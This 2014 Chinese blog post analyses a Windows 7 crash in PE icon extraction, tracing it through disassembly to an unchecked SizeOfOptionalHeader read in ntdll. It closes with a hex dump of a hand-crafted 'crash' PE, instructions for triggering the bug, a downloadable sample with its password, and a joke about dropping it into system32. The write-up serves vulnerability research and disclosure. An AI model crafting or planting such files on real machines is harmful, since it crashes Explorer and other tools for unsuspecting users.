再爆Windows崩溃漏洞

                        再爆Windows 崩溃漏洞

 

 

/**************************************
/* 作者:半斤八兩
/* 博客:http://cnblogs.com/bjblcracked
/* 日期:2014-04-24  01:01
/**************************************

 

只是感兴趣,没有其他目的。失误之处敬请诸位大侠赐教!


这次受影响的平台:Win7 x86 x64 包括安全模式.其它平台未测试.

中枪程序:peid everything 等,所有PE编辑相关的程序.

 

  昨天半夜的时候J师傅说是之前电脑中了病毒,文件又被感染了.自己太忙,没有时间.

就发来让我分析.我刚接到文件的时候,文件打开就崩溃了.

 

 

 

用everything 搜索这个程序名字,也会崩溃.(这里有点不解,everything 只是一个搜索工具,为什么也会崩溃具体原因没有细分心因为这不是重点.)

 

 

 

随后测试了许多程序,都会崩溃的于是就知道是系统哪里有问题了.剩下的就是分析了.

 

分析其它程序,不能证明是系统的漏洞,所以我决定从explorer 开始分析.

分析的时候,先用ollydbg打开explorer 的进程然后打开任务管理器.把重复的explorer 结束就可以分析了.

 

Explorer 是多线程的程序分析起来着实不怎么方便.为了方便分析,我们可以暂停其它无用的线程.

通过条件断点,定位到触发崩溃的函数是 user32.PrivateExtractIconsW.

我们来看一下msdn 是怎么介绍的.(我的msdn太老了.我们只能看在线的了!!! )

 

PrivateExtractIcons function

[This function is not intended for general use. It may be altered or unavailable in subsequent versions of Windows.]

Creates an array of handles to icons that are extracted from a specified file.

Syntax

 

C++

 

UINT WINAPI PrivateExtractIcons(

  _In_       LPCTSTR lpszFile,

  _In_       int nIconIndex,

  _In_       int cxIcon,

  _In_       int cyIcon,

  _Out_opt_  HICON *phicon,

  _Out_opt_  UINT *piconid,

  _In_       UINT nIcons,

  _In_       UINT flags

);

 

 

通过这个函数,大概可以知道应该是在处理pe icon时出的问题了.

 

764B0D13 u>  8BFF            mov edi, edi                             ; user32.PrivateExtractIconsW

764B0D15     55              push ebp

764B0D16     8BEC            mov ebp, esp

764B0D18     81EC 5C040000   sub esp, 45C

764B0D1E     A1 08915076     mov eax, dword ptr ds:[76509108]

764B0D23     33C5            xor eax, ebp

764B0D25     8945 FC         mov dword ptr ss:[ebp-4], eax

764B0D28     8B45 08         mov eax, dword ptr ss:[ebp+8]

764B0D2B     838D D8FBFFFF F>or dword ptr ss:[ebp-428], FFFFFFFF

764B0D32     53              push ebx

764B0D33     56              push esi

764B0D34     8B75 18         mov esi, dword ptr ss:[ebp+18]

764B0D37     33DB            xor ebx, ebx

764B0D39     57              push edi

764B0D3A     8B7D 1C         mov edi, dword ptr ss:[ebp+1C]

764B0D3D     8985 D0FBFFFF   mov dword ptr ss:[ebp-430], eax

764B0D43     89B5 D4FBFFFF   mov dword ptr ss:[ebp-42C], esi

764B0D49     899D DCFBFFFF   mov dword ptr ss:[ebp-424], ebx

764B0D4F     3BF3            cmp esi, ebx

764B0D51     0F84 AFE60000   je user32.764BF406

764B0D57     8B55 20         mov edx, dword ptr ss:[ebp+20]

764B0D5A     3BD3            cmp edx, ebx

764B0D5C     76 1B           jbe short user32.764B0D79

764B0D5E     8BCE            mov ecx, esi

764B0D60     8BC7            mov eax, edi

764B0D62     2BCF            sub ecx, edi

764B0D64     3BF3            cmp esi, ebx

764B0D66     74 03           je short user32.764B0D6B

764B0D68     891C01          mov dword ptr ds:[ecx+eax], ebx

764B0D6B     3BFB            cmp edi, ebx

764B0D6D     0F85 58090300   jnz user32.764E16CB

764B0D73     83C0 04         add eax, 4

764B0D76     4A              dec edx

764B0D77   ^ 75 EB           jnz short user32.764B0D64

764B0D79     FFB5 D0FBFFFF   push dword ptr ss:[ebp-430]

764B0D7F     E8 B2010000     call user32.764B0F36

764B0D84     3D 2E636D64     cmp eax, 646D632E

764B0D89     0F84 1F010000   je user32.764B0EAE

764B0D8F     3D 2E706966     cmp eax, 6669702E

764B0D94     0F84 14010000   je user32.764B0EAE

764B0D9A     3D 2E6C6E6B     cmp eax, 6B6E6C2E

764B0D9F     0F84 09010000   je user32.764B0EAE

764B0DA5     3D 2E636F6D     cmp eax, 6D6F632E

764B0DAA     0F84 FE000000   je user32.764B0EAE

764B0DB0     3D 2E626174     cmp eax, 7461622E

764B0DB5     0F84 F3000000   je user32.764B0EAE

764B0DBB     68 04010000     push 104

764B0DC0     8D85 E0FBFFFF   lea eax, dword ptr ss:[ebp-420]

764B0DC6     50              push eax

764B0DC7     FFB5 D0FBFFFF   push dword ptr ss:[ebp-430]

764B0DCD     FF15 94134A76   call near dword ptr ds:[<&KERNEL32.Expan>; kernel32.ExpandEnvironmentStringsW

764B0DD3     33C0            xor eax, eax

764B0DD5     66:8985 E6FDFFF>mov word ptr ss:[ebp-21A], ax

764B0DDC     8D85 E0FBFFFF   lea eax, dword ptr ss:[ebp-420]

764B0DE2     50              push eax

764B0DE3     E8 E2000000     call user32.764B0ECA

764B0DE8     85C0            test eax, eax

764B0DEA     0F85 E3080300   jnz user32.764E16D3

764B0DF0     53              push ebx

764B0DF1     8D85 E8FDFFFF   lea eax, dword ptr ss:[ebp-218]

764B0DF7     50              push eax

764B0DF8     68 04010000     push 104

764B0DFD     53              push ebx

764B0DFE     8D85 E0FBFFFF   lea eax, dword ptr ss:[ebp-420]

764B0E04     50              push eax

764B0E05     53              push ebx

764B0E06     FF15 90134A76   call near dword ptr ds:[<&KERNEL32.Searc>; kernel32.SearchPathW

764B0E0C     85C0            test eax, eax

764B0E0E   ^ 0F84 0040FFFF   je user32.764A4E14

764B0E14     6A 22           push 22

764B0E16     53              push ebx

764B0E17     8D85 E8FDFFFF   lea eax, dword ptr ss:[ebp-218]

764B0E1D     50              push eax

764B0E1E     FF15 98134A76   call near dword ptr ds:[<&KERNEL32.LoadL>; kernel32.LoadLibraryExW

764B0E24     8985 D0FBFFFF   mov dword ptr ss:[ebp-430], eax

764B0E2A     53              push ebx

764B0E2B     3BC3            cmp eax, ebx

764B0E2D     0F84 082F0200   je user32.764D3D3B

764B0E33     8B4D 0C         mov ecx, dword ptr ss:[ebp+C]

764B0E36     898D A4FBFFFF   mov dword ptr ss:[ebp-45C], ecx

764B0E3C     8B4D 10         mov ecx, dword ptr ss:[ebp+10]

764B0E3F     898D A8FBFFFF   mov dword ptr ss:[ebp-458], ecx

764B0E45     8B4D 14         mov ecx, dword ptr ss:[ebp+14]

764B0E48     898D ACFBFFFF   mov dword ptr ss:[ebp-454], ecx

764B0E4E     8B4D 20         mov ecx, dword ptr ss:[ebp+20]

764B0E51     898D B8FBFFFF   mov dword ptr ss:[ebp-448], ecx

764B0E57     8B4D 24         mov ecx, dword ptr ss:[ebp+24]

764B0E5A     53              push ebx

764B0E5B     898D BCFBFFFF   mov dword ptr ss:[ebp-444], ecx

764B0E61     8D8D A4FBFFFF   lea ecx, dword ptr ss:[ebp-45C]

764B0E67     51              push ecx

764B0E68     68 9D114B76     push user32.764B119D

764B0E6D     6A 0E           push 0E

764B0E6F     50              push eax

764B0E70     89B5 B0FBFFFF   mov dword ptr ss:[ebp-450], esi

764B0E76     89BD B4FBFFFF   mov dword ptr ss:[ebp-44C], edi

764B0E7C     899D C0FBFFFF   mov dword ptr ss:[ebp-440], ebx

764B0E82     899D C4FBFFFF   mov dword ptr ss:[ebp-43C], ebx

764B0E88     FF15 E0134A76   call near dword ptr ds:[<&KERNEL32.EnumR>; kernel32.EnumResourceNamesExW

764B0E8E     FFB5 D0FBFFFF   push dword ptr ss:[ebp-430]

764B0E94     FF15 DC144A76   call near dword ptr ds:[<&KERNEL32.FreeL>; kernel32.FreeLibrary

764B0E9A     3BF3            cmp esi, ebx

764B0E9C     0F84 4E080300   je user32.764E16F0                       ; EnumResourceNameExW

764B0EA2     8B85 C4FBFFFF   mov eax, dword ptr ss:[ebp-43C]          ; EnumResourceNamesExW

764B0EA8     8985 DCFBFFFF   mov dword ptr ss:[ebp-424], eax

764B0EAE     8B4D FC         mov ecx, dword ptr ss:[ebp-4]

764B0EB1     8B85 DCFBFFFF   mov eax, dword ptr ss:[ebp-424]

764B0EB7     5F              pop edi

764B0EB8     5E              pop esi

764B0EB9     33CD            xor ecx, ebp

764B0EBB     5B              pop ebx

764B0EBC     E8 2EC10000     call user32.764BCFEF

764B0EC1     C9              leave

764B0EC2     C2 2000         retn 20

 

 

 

顺着往下跟,我们来到这个函数kernel32.EnumResourceNamesExW

 

EnumResourceNames

The EnumResourceNames function searches a module for each resource of the specified type and passes either the name or the ID of each resource it locates to an application-defined callback function. 

 

BOOL EnumResourceNames(

  HMODULE hModule,              // module handle

  LPCTSTR lpszType,             // resource type

  ENUMRESNAMEPROC lpEnumFunc,   // callback function

  LONG_PTR lParam               // application-defined parameter

);

 

 

 

 1 76404425 k>  8BFF            mov edi, edi                             ; kernel32.EnumResourceNamesExW
 2 
 3 76404427     55              push ebp
 4 
 5 76404428     8BEC            mov ebp, esp
 6 
 7 7640442A     6A 00           push 0
 8 
 9 7640442C     FF75 1C         push dword ptr ss:[ebp+1C]
10 
11 7640442F     FF75 18         push dword ptr ss:[ebp+18]
12 
13 76404432     FF75 14         push dword ptr ss:[ebp+14]
14 
15 76404435     FF75 10         push dword ptr ss:[ebp+10]
16 
17 76404438     FF75 0C         push dword ptr ss:[ebp+C]
18 
19 7640443B     FF75 08         push dword ptr ss:[ebp+8]
20 
21 7640443E     E8 6EFCFFFF     call kernel32.764040B1     // 这里我们跟进去.
22 
23 76404443     5D              pop ebp
24 
25 76404444     C2 1800         retn 18

 

 

 

7640443e 跟进去来到下面.

 

 

  1 764040B1    68 88000000     push 88
  2 
  3 764040B6    68 F8434076     push kernel32.764043F8
  4 
  5 764040BB    E8 B07C0000     call kernel32.7640BD70
  6 
  7 764040C0    33FF            xor edi, edi
  8 
  9 764040C2    897D C0         mov dword ptr ss:[ebp-40], edi
 10 
 11 764040C5    897D BC         mov dword ptr ss:[ebp-44], edi
 12 
 13 764040C8    897D D0         mov dword ptr ss:[ebp-30], edi
 14 
 15 764040CB    897D E0         mov dword ptr ss:[ebp-20], edi
 16 
 17 764040CE    897D A0         mov dword ptr ss:[ebp-60], edi
 18 
 19 764040D1    897D 8C         mov dword ptr ss:[ebp-74], edi
 20 
 21 764040D4    897D 88         mov dword ptr ss:[ebp-78], edi
 22 
 23 764040D7    897D B8         mov dword ptr ss:[ebp-48], edi
 24 
 25 764040DA    89BD 78FFFFFF   mov dword ptr ss:[ebp-88], edi
 26 
 27 764040E0    897D 98         mov dword ptr ss:[ebp-68], edi
 28 
 29 764040E3    89BD 6CFFFFFF   mov dword ptr ss:[ebp-94], edi
 30 
 31 764040E9    897D B4         mov dword ptr ss:[ebp-4C], edi
 32 
 33 764040EC    8B45 18         mov eax, dword ptr ss:[ebp+18]
 34 
 35 764040EF    8BC8            mov ecx, eax
 36 
 37 764040F1    C1E9 03         shr ecx, 3
 38 
 39 764040F4    83E1 01         and ecx, 1
 40 
 41 764040F7    894D DC         mov dword ptr ss:[ebp-24], ecx
 42 
 43 764040FA    897D 94         mov dword ptr ss:[ebp-6C], edi
 44 
 45 764040FD    897D 90         mov dword ptr ss:[ebp-70], edi
 46 
 47 76404100    C1E8 04         shr eax, 4
 48 
 49 76404103    F7D0            not eax
 50 
 51 76404105    83E0 01         and eax, 1
 52 
 53 76404108    8BF0            mov esi, eax
 54 
 55 7640410A    57              push edi
 56 
 57 7640410B    8D45 18         lea eax, dword ptr ss:[ebp+18]
 58 
 59 7640410E    50              push eax
 60 
 61 7640410F    E8 38030000     call kernel32.7640444C
 62 
 63 76404114    85C0            test eax, eax
 64 
 65 76404116    0F84 00180200   je kernel32.7642591C
 66 
 67 7640411C    FF75 0C         push dword ptr ss:[ebp+C]
 68 
 69 7640411F    E8 9C060000     call <jmp.&KERNELBASE.BaseDllMapResource>
 70 
 71 76404124    8945 9C         mov dword ptr ss:[ebp-64], eax
 72 
 73 76404127    83F8 FF         cmp eax, -1
 74 
 75 7640412A    0F84 EC170200   je kernel32.7642591C
 76 
 77 76404130    6A 01           push 1
 78 
 79 76404132    FF75 08         push dword ptr ss:[ebp+8]
 80 
 81 76404135    E8 B05D0000     call kernel32.BasepMapModuleHandle
 82 
 83 7640413A    8945 CC         mov dword ptr ss:[ebp-34], eax
 84 
 85 7640413D    3BF7            cmp esi, edi
 86 
 87 7640413F    74 2A           je short kernel32.7640416B
 88 
 89 76404141    8D4D 94         lea ecx, dword ptr ss:[ebp-6C]
 90 
 91 76404144    51              push ecx
 92 
 93 76404145    FF75 DC         push dword ptr ss:[ebp-24]
 94 
 95 76404148    50              push eax
 96 
 97 76404149    E8 46030000     call kernel32.76404494
 98 
 99 7640414E    3BC7            cmp eax, edi
100 
101 76404150    7C 19           jl short kernel32.7640416B
102 
103 76404152    8D45 90         lea eax, dword ptr ss:[ebp-70]
104 
105 76404155    50              push eax
106 
107 76404156    57              push edi
108 
109 76404157    FF75 9C         push dword ptr ss:[ebp-64]
110 
111 7640415A    FF75 94         push dword ptr ss:[ebp-6C]
112 
113 7640415D    FF15 F0123C76   call near dword ptr ds:[<&ntdll.LdrRscIs>; ntdll.LdrRscIsTypeExist
114 
115 76404163    3BC7            cmp eax, edi
116 
117 76404165    0F8C FA3A0200   jl kernel32.76427C65
118 
119 7640416B    8B5D 18         mov ebx, dword ptr ss:[ebp+18]
120 
121 7640416E    895D 18         mov dword ptr ss:[ebp+18], ebx
122 
123 76404171    8365 18 02      and dword ptr ss:[ebp+18], 2
124 
125 76404175    0F84 87000000   je kernel32.76404202
126 
127 7640417B    8B45 94         mov eax, dword ptr ss:[ebp-6C]
128 
129 7640417E    33F6            xor esi, esi
130 
131 76404180    3BC6            cmp eax, esi
132 
133 76404182    0F84 923C0200   je kernel32.76427E1A
134 
135 76404188    F640 10 01      test byte ptr ds:[eax+10], 1
136 
137 7640418C    0F84 883C0200   je kernel32.76427E1A
138 
139 76404192    F745 90 0000020>test dword ptr ss:[ebp-70], 20000
140 
141 76404199    0F85 B43A0200   jnz kernel32.76427C53
142 
143 7640419F    68 80000000     push 80
144 
145 764041A4    8D45 C8         lea eax, dword ptr ss:[ebp-38]
146 
147 764041A7    56              push esi
148 
149 764041A8    50              push eax
150 
151 764041A9    66:3975 1C      cmp word ptr ss:[ebp+1C], si
152 
153 764041AD    0F85 DAA90200   jnz kernel32.7642EB8D
154 
155 764041B3    FF75 CC         push dword ptr ss:[ebp-34]
156 
157 764041B6    FF15 E8123C76   call near dword ptr ds:[<&ntdll.LdrLoadA>; ntdll.LdrLoadAlternateResourceModule
158 
159 764041BC    3BC6            cmp eax, esi
160 
161 764041BE    0F8C 563C0200   jl kernel32.76427E1A
162 
163 764041C4    3975 DC         cmp dword ptr ss:[ebp-24], esi
164 
165 764041C7    0F85 D1A90200   jnz kernel32.7642EB9E
166 
167 764041CD    8D45 80         lea eax, dword ptr ss:[ebp-80]
168 
169 764041D0    50              push eax
170 
171 764041D1    8D45 D8         lea eax, dword ptr ss:[ebp-28]
172 
173 764041D4    50              push eax
174 
175 764041D5    53              push ebx
176 
177 764041D6    FF75 B0         push dword ptr ss:[ebp-50]
178 
179 764041D9    FF75 C8         push dword ptr ss:[ebp-38]
180 
181 764041DC    E8 09030000     call kernel32.764044EA
182 
183 764041E1    8BF8            mov edi, eax
184 
185 764041E3    3BFE            cmp edi, esi
186 
187 764041E5    7C 1B           jl short kernel32.76404202
188 
189 764041E7    8D45 BC         lea eax, dword ptr ss:[ebp-44]
190 
191 764041EA    50              push eax
192 
193 764041EB    8BC3            mov eax, ebx
194 
195 764041ED    0D 00020000     or eax, 200
196 
197 764041F2    50              push eax
198 
199 764041F3    56              push esi
200 
201 764041F4    56              push esi
202 
203 764041F5    FF75 9C         push dword ptr ss:[ebp-64]
204 
205 764041F8    FF75 C8         push dword ptr ss:[ebp-38]
206 
207 764041FB    E8 3B030000     call kernel32.7640453B
208 
209 76404200    8BF8            mov edi, eax
210 
211 76404202    8BF3            mov esi, ebx
212 
213 76404204    83E6 01         and esi, 1
214 
215 76404207    74 53           je short kernel32.7640425C
216 
217 76404209    F745 90 0000040>test dword ptr ss:[ebp-70], 40000
218 
219 76404210    0F85 5C3A0200   jnz kernel32.76427C72
220 
221 76404216    837D DC 00      cmp dword ptr ss:[ebp-24], 0
222 
223 7640421A    0F85 A2A90200   jnz kernel32.7642EBC2
224 
225 76404220    8D85 7CFFFFFF   lea eax, dword ptr ss:[ebp-84]
226 
227 76404226    50              push eax
228 
229 76404227    8D45 D8         lea eax, dword ptr ss:[ebp-28]
230 
231 7640422A    50              push eax
232 
233 7640422B    53              push ebx
234 
235 7640422C    FF75 AC         push dword ptr ss:[ebp-54]
236 
237 7640422F    FF75 CC         push dword ptr ss:[ebp-34]
238 
239 76404232    E8 B3020000     call kernel32.764044EA                   ; //  这里再跟进去.
240 
241 76404237    8945 B4         mov dword ptr ss:[ebp-4C], eax
242 
243 7640423A    85C0            test eax, eax
244 
245 7640423C    7C 1E           jl short kernel32.7640425C
246 
247 ...

 

 

 

来到这个函数. ntdll.RtlImageDirectoryEntryToData.

这个函数的说明在ddk 和 wdk的帮助文档上都没有找到.可能是未导出的吧 :(

最后再reactos里面看到了源码.如下:

 

 

 1 /*
 2 
 3  * @implemented
 4 
 5  */
 6 
 7 PVOID
 8 
 9 NTAPI
10 
11 RtlImageDirectoryEntryToData(
12 
13     PVOID BaseAddress,
14 
15     BOOLEAN MappedAsImage,
16 
17     USHORT Directory,
18 
19     PULONG Size)
20 
21 {
22 
23     PIMAGE_NT_HEADERS NtHeader;
24 
25     ULONG Va;
26 
27  
28 
29     /* Magic flag for non-mapped images. */
30 
31     if ((ULONG_PTR)BaseAddress & 1)
32 
33     {
34 
35         BaseAddress = (PVOID)((ULONG_PTR)BaseAddress & ~1);
36 
37         MappedAsImage = FALSE;
38 
39     }
40 
41  
42 
43     NtHeader = RtlImageNtHeader(BaseAddress);
44 
45     if (NtHeader == NULL)
46 
47         return NULL;
48 
49  
50 
51     if (Directory >= SWAPD(NtHeader->OptionalHeader.NumberOfRvaAndSizes))
52 
53         return NULL;
54 
55  
56 
57     Va = SWAPD(NtHeader->OptionalHeader.DataDirectory[Directory].VirtualAddress);
58 
59     if (Va == 0)
60 
61         return NULL;
62 
63  
64 
65     *Size = SWAPD(NtHeader->OptionalHeader.DataDirectory[Directory].Size);
66 
67  
68 
69     if (MappedAsImage || Va < SWAPD(NtHeader->OptionalHeader.SizeOfHeaders))
70 
71         return (PVOID)((ULONG_PTR)BaseAddress + Va);
72 
73  
74 
75     /* image mapped as ordinary file, we must find raw pointer */
76 
77     return RtlImageRvaToVa(NtHeader, BaseAddress, Va, NULL);
78 
79 }

 

 

 

 

反汇编如下:

 

 1 764044EA    8BFF            mov edi, edi
 2 
 3 764044EC    55              push ebp
 4 
 5 764044ED    8BEC            mov ebp, esp
 6 
 7 764044EF    53              push ebx
 8 
 9 764044F0    8B5D 08         mov ebx, dword ptr ss:[ebp+8]
10 
11 764044F3    56              push esi
12 
13 764044F4    57              push edi
14 
15 764044F5    85DB            test ebx, ebx
16 
17 764044F7    74 36           je short kernel32.7640452F
18 
19 764044F9    8B7D 18         mov edi, dword ptr ss:[ebp+18]
20 
21 764044FC    85FF            test edi, edi
22 
23 764044FE    74 2F           je short kernel32.7640452F
24 
25 76404500    F645 10 08      test byte ptr ss:[ebp+10], 8
26 
27 76404504    0F85 FF9C0200   jnz kernel32.7642E209
28 
29 7640450A    FF75 14         push dword ptr ss:[ebp+14]
30 
31 7640450D    6A 02           push 2
32 
33 7640450F    6A 01           push 1
34 
35 76404511    53              push ebx
36 
37 76404512    FF15 34133C76   call near dword ptr ds:[<&ntdll.RtlImage>; ntdll.RtlImageDirectoryEntryToData
38 
39 76404518    8907            mov dword ptr ds:[edi], eax
40 
41 7640451A    F7D8            neg eax
42 
43 7640451C    1BC0            sbb eax, eax
44 
45 7640451E    25 77FFFF3F     and eax, 3FFFFF77
46 
47 76404523    05 890000C0     add eax, C0000089
48 
49 76404528    5F              pop edi
50 
51 76404529    5E              pop esi
52 
53 7640452A    5B              pop ebx
54 
55 7640452B    5D              pop ebp
56 
57 7640452C    C2 1400         retn 14

 

 

最后我们一路跋山涉水发现是 ntdll.RtlImageRvaToSection 这个函数出的问题.

 

 

 1 /*
 2 
 3  * @implemented
 4 
 5  */
 6 
 7 PIMAGE_SECTION_HEADER
 8 
 9 NTAPI
10 
11 RtlImageRvaToSection(
12 
13     PIMAGE_NT_HEADERS NtHeader,
14 
15     PVOID BaseAddress,
16 
17     ULONG Rva)
18 
19 {
20 
21     PIMAGE_SECTION_HEADER Section;
22 
23     ULONG Va;
24 
25     ULONG Count;
26 
27  
28 
29     Count = SWAPW(NtHeader->FileHeader.NumberOfSections);
30 
31     Section = IMAGE_FIRST_SECTION(NtHeader);
32 
33  
34 
35     while (Count--)
36 
37     {
38 
39         Va = SWAPD(Section->VirtualAddress);
40 
41         if ((Va <= Rva) &&
42 
43                 (Rva < Va + SWAPD(Section->Misc.VirtualSize)))
44 
45             return Section;
46 
47         Section++;
48 
49     }
50 
51     return NULL;
52 
53 }

 

 

 

反汇编如下:

 

 1 77D99095 > $  8BFF          mov edi, edi                             ;  ntdll.RtlImageRvaToSection
 2 
 3 77D99097   .  55            push ebp
 4 
 5 77D99098   .  8BEC          mov ebp, esp
 6 
 7 77D9909A   .  8B4D 08       mov ecx, dword ptr ss:[ebp+8]            ;  // 这里是取PE Header 里的 Signature
 8 
 9 77D9909D   .  66:8B41 14    mov ax, word ptr ds:[ecx+14]     // 这里是崩溃的原因. 取的是PE Header 里的 SizeOfOptionalHeader
10 
11 77D990A1   .  0FB7C0        movzx eax, ax
12 
13 77D990A4   .  8D4408 18     lea eax, dword ptr ds:[eax+ecx+18]
14 
15 77D990A8   .  0FB749 06     movzx ecx, word ptr ds:[ecx+6]
16 
17 77D990AC   .  56            push esi
18 
19 77D990AD   .  33F6          xor esi, esi
20 
21 77D990AF   .  57            push edi
22 
23 77D990B0   .  85C9          test ecx, ecx
24 
25 77D990B2   .^ 0F86 0861FCFF jbe ntdll.77D5F1C0
26 
27 77D990B8   >  8B50 0C       mov edx, dword ptr ds:[eax+C]     // 这里就是崩溃的时候了.  <<---------
28 
29 77D990BB   .  3955 10       cmp dword ptr ss:[ebp+10], edx
30 
31 77D990BE   .^ 0F82 F060FCFF jb ntdll.77D5F1B4
32 
33 77D990C4   .  8B78 10       mov edi, dword ptr ds:[eax+10]
34 
35 77D990C7   .  03FA          add edi, edx
36 
37 77D990C9   .  397D 10       cmp dword ptr ss:[ebp+10], edi
38 
39 77D990CC   .^ 0F83 E260FCFF jnb ntdll.77D5F1B4
40 
41 77D990D2   >  5F            pop edi
42 
43 77D990D3   .  5E            pop esi
44 
45 77D990D4   .  5D            pop ebp
46 
47 77D990D5   .  C2 0C00       retn 0C

 

 

 

看到这里,相信大家都知道原因了吧.

 

 1 77D9909D . 66:8B41 14 mov ax, word ptr ds:[ecx+14] // 因 

这里取的是 image_optional_header 的大小.如果我精心构造一个PE.  让他的体积,小于 sizeofoptionheader 会怎样

这里没有判断.什么也没有.直接过去读取了...

  1 77D990B8 > 8B50 0C mov edx, dword ptr ds:[eax+C] // 果 

这里就是直接读取了.于是乎报错...               

 

下面.(不知道为什么,看到”下面”两个字,感觉怪怪的.可能是最近群里面朋友发的图片看多了吧..)

下面我们来手工精心构造一个”0Day”

 

我就不细细介绍了.网上有很多手写PE的文章.

 

 

Offset      0  1  2  3  4  5  6  7   8  9  A  B  C  D  E  F

 

00000000   4D 5A 20 57 69 6E 64 6F  77 73 20 30 44 61 79 20   MZ Windows 0Day 

00000010   42 79 00 B0 EB BD EF B0  CB 83 C9 00 44 61 74 65   By.半斤八兩.Date

00000020   3A 32 30 31 34 2E 30 34  2E 32 34 20 20 20 20 20   :2014.04.24     

00000030   20 20 20 20 20 20 20 20  20 20 20 20 40 00 00 00               @...

00000040   50 45 00 00 4C 01 08 00  16 EB E4 4D 00 00 00 00   PE..L....脘M....

00000050   00 00 00 00 22 22 00 00  0B 01 09 00 00 86 1E 00   ...."".......?.

00000060   00 98 0B 00 00 00 00 00  6A DE 0E 00 00 10 00 00   .?.....j?.....

00000070   00 10 00 00 00 00 40 00  00 10 00 00 00 02 00 00   ......@.........

00000080   05 00 00 00 00 00 00 00  05 00 00 00 00 00 00 00   ................

00000090   E9 4F 1A E9 00 04 00 00  00 00 00 00 02 00 40 81   镺.?.........@?

 

000000A0   00 00 10 00 00 10 00 00  00 00 10 00 00 10 00 00   ................

000000B0   00 00 00 00 10 00 00 00  00 00 00 00 00 00 00 00   ................

000000C0   00 A0 32 00 F0 00 00 00  00 10 33 00 50 0D 04 00   .?.?....3.P...

000000D0   00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00   ................

000000E0   00 20 37 00 A8 64 01 00  10 21 2D 00 1C 00 00 00   . 7.╠...!-.....

000000F0   00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00   ................

00000100   00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00   ................

00000110   00 00 00 00 00 00 00 00  A8 B1 32 00 B8 10 00 00   ........ū2.?..

00000120   00 00 33 00 40 00 00 00  00 00 00 00 00 00 00 00   ..3.@...........

00000130   00 00 00 00 00 00 00 00  B0 EB BD EF B0 CB 83 C9   ........半斤八兩

00000140   00 70 0E 00 00 10 00 00  00 00 00 00 00 00 00 00   .p..............

00000150   00 00 00 00 00 00 00 00  00 00 00 00 A0 00 00 E0   ............?.

 

 

这上面红色标识的就是 sizeofoptionhead. 只要把这个改成大于 0x1000 就可以了.

这个解决办法应该是在读取的时候,加下简单的判断.

.if sizeofoptionheader >= getfilesize() then

就可以避免这样的问题了.

 

如果大家不幸中招,可以按 ctrl+alt+del 或者 ctrl+alt+. 再或者 ctrl+shift+esc .调出taskmgr 然后用cmd.exe 来删除 “0Day” 即可 :)

 

附件为精心构造的程序.如果是在windows win7 ,大家就要小心了

解压密码:bjbl

千万别不小心放到 %windir%\system32 目录下了     那样就好玩了. 

最后感谢J师傅发的bin. 要不然也不会有此发现.

 

PDF档及BIN下载

看雪学院

posted @ 2014-04-24 15:03  半斤八兩  阅读(4795)  评论(12编辑  收藏  举报